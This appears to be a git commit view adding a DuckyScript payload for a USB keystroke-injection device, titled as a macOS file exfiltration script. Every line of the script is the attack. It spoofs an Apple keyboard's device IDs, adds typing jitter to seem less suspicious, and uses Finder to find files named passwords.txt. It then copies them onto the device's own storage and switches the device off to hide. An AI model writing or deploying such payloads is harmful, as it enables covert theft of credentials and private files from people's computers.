Create payload.txt
parent
83b78578af
commit
470bbbf59d
|
@ -0,0 +1,89 @@
|
|||
REM TITLE Exfiltrate specific file macOS
|
||||
REM AUTHOR Kile
|
||||
REM DESCRIPTION Opens the terminal, then uses search to find all files matching filename and copies them to the DUCKY
|
||||
|
||||
REM NOTE This is not unlikely to fail depending on the speed of search or if a large amount of files meet the criteria. Adjust DELAYs to your needs
|
||||
|
||||
ATTACKMODE STORAGE HID VID_05AC PID_021E
|
||||
DELAY 2000
|
||||
|
||||
REM the filename for the payload to look for
|
||||
DEFINE #target passwords.txt
|
||||
|
||||
REM Given that it uses the GUI it is a good idea to enable jitter to be less suspicious
|
||||
$_JITTER_ENABLED = TRUE
|
||||
|
||||
REM This function tabs the amount of times it takes from a finder search to go onto the first file result (4)
|
||||
FUNCTION DO_TABS()
|
||||
VAR $COUNTER = 0
|
||||
WHILE ($COUNTER < 4)
|
||||
TAB
|
||||
DELAY 100
|
||||
$COUNTER = ($COUNTER + 1)
|
||||
END_WHILE
|
||||
END_FUNCTION
|
||||
|
||||
REM Open finder
|
||||
COMMAND SPACE
|
||||
STRINGLN finder
|
||||
DELAY 500
|
||||
REM Command n spawns a new window. This makes sure there is only one finder tab (for tabbing to the files later)
|
||||
COMMAND n
|
||||
|
||||
REM Open search bar in finder
|
||||
COMMAND f
|
||||
DELAY 200
|
||||
REM type target filename
|
||||
STRING #target
|
||||
DELAY 200
|
||||
REM This specifies that the passwords.txt has to be a filename and not be in any file
|
||||
DOWN
|
||||
ENTER
|
||||
ENTER
|
||||
|
||||
REM Give a bit to find all files
|
||||
DELAY 500
|
||||
REM now 4 tabs to get to the first file result
|
||||
DO_TABS()
|
||||
|
||||
REM select all files that have the specified target in their name
|
||||
COMMAND a
|
||||
REM Copy the files
|
||||
COMMAND c
|
||||
DELAY 500
|
||||
REM Go back to search window
|
||||
COMMAND f
|
||||
DELAY 200
|
||||
REM Delete previous search
|
||||
DEL
|
||||
|
||||
REM Search for DUCKY USB
|
||||
STRING DUCKY
|
||||
DELAY 200
|
||||
DOWN
|
||||
ENTER
|
||||
REM Specifies that the "DUCKY" has to be an external USB drive
|
||||
STRING Volume
|
||||
DELAY 200
|
||||
DOWN
|
||||
DOWN
|
||||
DOWN
|
||||
ENTER
|
||||
ENTER
|
||||
REM This can take annoyingly long to show up which is why the delay is so big
|
||||
DELAY 6000
|
||||
|
||||
REM Go to first result
|
||||
DO_TABS()
|
||||
|
||||
REM Open the drive
|
||||
COMMAND o
|
||||
DELAY 1000
|
||||
REM This takes a few seconds
|
||||
|
||||
REM Paste the copied files. As this may take a few seconds given on how many results there were there is a long delay
|
||||
COMMAND v
|
||||
DELAY 7000
|
||||
|
||||
REM Hide
|
||||
ATTACKMODE OFF
|
Loading…
Reference in New Issue